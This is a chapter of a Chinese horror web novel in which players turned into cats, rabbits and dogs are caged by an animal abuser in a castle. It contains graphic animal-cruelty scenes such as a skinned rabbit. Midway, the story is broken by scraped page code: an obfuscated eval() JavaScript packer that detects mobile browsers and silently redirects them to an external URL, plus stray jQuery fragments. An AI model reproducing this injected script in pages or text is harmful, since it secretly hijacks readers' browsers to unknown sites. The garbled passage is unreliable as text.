31. 第31章 动物施虐者

作品:《别慌,这本恐怖无限流我写的

    每次见到付绅时,他总是叽叽喳喳说个不停,给恐怖紧张的气氛增添了一点轻松和愉快。


    “其他玩家也在车厢里吗?”江寻提起新的话题。


    “我旁边笼子也有一只猫咪,紧接着再往深处一点有两只兔子和一只吉娃娃。”付绅皱了皱眉,又继续说道,“那几个笼子特别拥挤,他们估计都憋坏了。”


    许星临靠在笼子的角落,听着付绅对他那天南海北的脑洞侃侃而谈,一阵困意袭来,许星临进入了梦乡。


    汽车最后缓缓停在一栋城堡前,缝隙中可以窥得是一个中年男人正在忙前忙后,他将所有笼子拎进屋里,面带灿烂的笑容,嘴里还一边说着,“真是棒极了!感谢老天!”


    这是一座传统意义上的城堡,几根柱子直冲吊顶,家具没有过多的装饰,唯有线条,客厅两侧有很多小房间,男人将他们扔进了其中一间。


    是‘扔’不是‘放’。


    强烈地撞击,让后颈像被铁钳攥住般撕裂的疼痛。


    付绅:“你们没事吧?这傻逼东西,疼死我了。”


    江寻的目光落在他身上,随后又不屑地移开,“不准说脏话。”


    他点点头,“错了,哥。”


    房门关闭的瞬间,屋子里仅剩的一丝亮光也被剥夺。


    许星临一直迷迷糊糊地听着他们讲话,被狠狠摔到地上后,才彻底清醒过来,“依我看,这个男人很像是共情缺失者,他抓这么多不同的动物,肯定不止虐猫这一条罪名。”


    “这个副本难道要我们打败这个虐猫者?杀了他?”付绅向上蹦跳,后掌反复落地卷起底部的灰层,笼子都被他弄得发出了激烈的响声。


    正讲着话,他似乎看到了什么,突然整个身体僵在了原地。


    “那里有什么吗?”许星临明锐察觉到了对方的变化。


    “你们快看天花板!”


    弯下腰,抻着脖子,勉强能看到西南角的一部分。


    天花板上闪烁着荧绿色的光芒,仔细一看,那轮廓居然是一张张脸,这些脸不知何时已经将房间照亮,整个屋子透露着诡异的氛围。


    显然不只是付绅发现了这一奇怪的现象,其他几个玩家也陆陆续续注意到情况,场面失控了起来,其中几个新人玩家吓尿了裤子,在人群中煽风点火,竟动摇了几个老玩家的沉稳的心。


    “不要着急!大家静一静!”那只一直躲在角落里的吉娃娃突然站出来说道。


    “副本才刚刚开始,不会那么容易死人的,我们应该先想一想对策。”


    “有什么办法嘛?我们都被关起来了,出都出不去。”有一只兔子说道。


    “我叫郑新,你们可以互相介绍一下自己,以免互相之间与真正的动物弄混。”


    “肯尼。”巧克力色的兔子说道。


    “张成。”奶牛猫挠了挠脑袋。


    “可以叫我佳佳。”垂耳兔躲在角落瑟瑟发抖。


    “许星临。”


    “江陵”


    听到这句话,许星临看他一眼,江寻解释道:“有时候我不喜欢在副本里说自己名字。”


    “我懂!你怕别人认识你!能理解,名人嘛!”许星临一脸了然的样子,顺了顺他身上的毛。


    这时,门打开了,隔壁的笼子传来了窸悉簌簌的动静。


    男人光着膀子冲进房间,在不同的笼子之间徘徊着,似乎在寻找自己的猎物。


    很快,男人走到了许星临和江寻所在的笼子面前,他拉开笼子,揪住了脖子,许星临不得已和他来了个对视。


    “小宝贝~你长得真漂亮,瞧这毛雪白顺滑。”


    男人轻轻一推鼻梁上的眼睛,用余光扫过他的脸,整张脸都沾满了油印,额头上的碎发还因为出汗黏在了额头上。


    “不过,你太瘦了,等你再胖点,我第一个吃你哦!”


    他把许星临扔回了笼子,重新去寻找下一个目标。


    不一会,男人手提着一只兔子的耳朵走出房门,不知道去了哪里。


    “你没有触发死亡机制,他不能杀你。”江寻窝在角落里,冷不丁地说了一句。


    “嗯,那个好像不是玩家。”许星临收回视线。


    “吱呀——”


    门外从传来惨烈地尖叫声和男人粗重的喘息声。


    “他是把它杀了吗?”佳佳抽泣着。


    郑新:“大概是的,我们被囚禁在这里,大家看看附近有没有可以让我们出去的工具,尽量不要去看天花板上那些东西。”


    整个房间弥漫着一股腐肉和氨水的恶臭,似乎是从东南角散过来的,但是由于身高原因,怎么蹦跳都不起作用。


    许星临从衣服口袋里,拿出了古铜色钢笔,心中默念:“长高。”


    几乎是一瞬间,外面的景色一览无余。高墙被打磨的非常平整,墙体正中央出现了一个正方形通道入口,此时闸门紧紧闭着。闸门的下面垒着几句尸体,从长度上看,似乎不是小动物。臭气就是从这些尸体上传出来的。


    “嘘——”江寻的声音从背后传来。


    “那边有什么发现吗?”郑新正敏锐地往这边望着。


    “没有!”许星临喊道。


    凑到江寻耳边,将所见所闻一五一十地告诉了他。


    江寻:“不如我们找机会去看看,那个隧道通向哪里?”


    “嗯......不过我可以一试”许星临将技能换成了变瘦。


    果然,很轻松地从笼子缝隙中钻了出去。


    江寻跑了过来,“晚一点再去,现在他会看到你的。”


    许星临点了点头,表示赞同。


    许星临倚靠在门边,江寻缓缓合上眼,短暂的休息像给即将耗尽的电池充了会电。


    不知过了多久,男人又走了进来,他围着白花花的围裙,此时上面已经溅满了血,手里面提着一个还在滴血的东西,竟是一只活剥了的兔子!


    “孩子们,快乐总是短暂的,希望下次这样的好运能平等地落在你们每个人身上。”男人抬起手,深深举了个躬。


    “哦对了,明天有大餐在等你们哦!”话音刚落,男人抬脚走了出去。


    男人走后,房间恢复了荧光绿色,“江陵,你看。”许星临跑到门边,用爪子轻轻一扒笼子门,竟然轻松地打开了。


    “我们可以出去了,天黑了。”


    付绅:“不过,你怎么知道天黑了?”


    许星临懒洋洋地撑了一个懒腰,“刚刚他进来的时候,外面的灯光已经发生了变化,那大概率是他们家灯带的颜色。”


    江寻嘴角勾起一个弧度,“学学人家。”


    “人家还小嘛。”付绅跟在后面嘟嚷着。


    两只猫和一只狗踏入了主人的城堡,企图入侵主人的领地,通道入口有些高,以他们的身高无法跳上去,许星临正准备将笔拿出来的时候,江寻阻止了她。


    “太显眼了。”


    于是,它们互相踩着肩膀跳了上去,“付绅!你该控制饮食了!太胖了也不健康。”许星临喘着气艰难地将付绅拉了上来。


    “真的吗?我变成小狗的时候也很重吗?”付绅闪烁着大眼睛。


    “前提我必须是人,而不是一只可爱的小猫咪......”许星临吐了口气,焉焉地说道。


    他们顺着通道向上爬,生锈的铁梯子不知道延深到了哪里。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157792|194466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    付绅总是因为体力不支停下来,于是他们花了很长时间才到达通道最上面。


    许星临忍不住问道,“付绅平时是不是不爱运动,他好像体力很差。”


    江寻看了看落后一大截的付绅,小声说道,“他心脏有一点小问题,从小医生就让他不要剧烈运动。”


    “副本的来临加重了他的病情。”


    许星临怔愣了一瞬,双手双脚向下退去,不知爬了几步,终于到了和付绅只差五六台的地方。


    “姐姐,你怎么......又下来了?”付绅喘息着,断断续续地说道。


    “副本里太危险了,我思前想后,还是等等你吧!”


    “放心吧!姐姐!我可是B型通关者,我很厉害的!”付绅骄傲地说道。


    “行行行,那你保护我吧!”许星临低声笑了。


    通道的尽头连接着城堡的另一个房间,房间里昏暗无比,巨大的落地窗被深色的窗帘布遮了个严实。


    猫咪的夜间视力在此时起到了重要作用,许星临和江寻很快适应了昏暗的光线。


    这是一间卧室,空气中弥漫着干冷的气息,屋里的一切都摆得规规整整,方方正正,像被抽走了所有情绪的盒子。


    “嘘——有人。”许星临小声说道。


    起伏的呼吸声在格外寂静的夜里显得有力而绵长,被窝隆起一个小小的,颤抖的弧度。小男孩缩在被窝里,睫毛微微煽动着,不知道是做了什么可怕的噩梦,像只受惊的小刺猬。


    床头柜上摆着一个相框,里面的照片是小男孩和那个共情缺失者。


    许星临踮起脚尖在屋里照找着线索,只有冰冷的家具,丝毫看不出一丝属于小男孩这个年龄段的欢乐与温情。


    突然,屋外传来了急匆匆的脚步声,且越来越近。


    “快走。”许星临回头时,只见江寻站在床边,手里拿着面具,心中了然。


    三人又从通道里爬了下去,这次就快了很多,付绅面对头顶两人的催促,强撑着加快了动作。


    几乎是到达笼子的一瞬间,男人冲了进来,怒吼着,“是谁?把那些恶心的脏东西带了进来?”


    见没有动物做出反应,男人猫下腰来,一个一个质问道:“是不是你?”


    “快点说!是不是你!就是你!”


    被他揪着后颈的小狗下破了胆,一声不吭,男人又将它扔进笼子,“我早晚会抓住你的!”,说完便气冲冲地走了。


    付绅吐了口气,“好险,原来取下面具就是这个副本的死亡条件。”


    “幸运的是我们发现,只要重新戴上面具,混入动物群中,他就无法辨认。毕竟,像这样的动物虐待狂不会一次性杀了他花的所有心血。”许星临软软地趴在地上。


    付绅竖起大拇指,“为你两点个赞,回去还要给你们颁奖!就叫‘敢于拼搏奖’。”


    “就知道贫嘴。”许星临笑了笑,推了一下笼子。


    江寻:“今晚我守夜,你们抓紧时间睡会。”


    “收到,sir”许星临抬手一挥。


    “下半夜我守吧,哥,你也得歇会。”付绅体贴地说道。


    清晨,男人的进进出出宣告着新一天的来临,他把一坨黏糊糊的东西扔进笼子里,特意在个别笼子前撒了一点水。


    许星临满足地从梦中醒来,“昨晚没什么事吧?”


    “没有。”江寻说完这话的时候,付绅疑惑地看了他一眼。


    许星临:“发生什么了?”


    “真没事,快吃口东西吧。”江寻抓起那黏糊的团,“总得垫肚子。”


    “好吧。”许星临将东西塞进嘴里,艰难的咽下。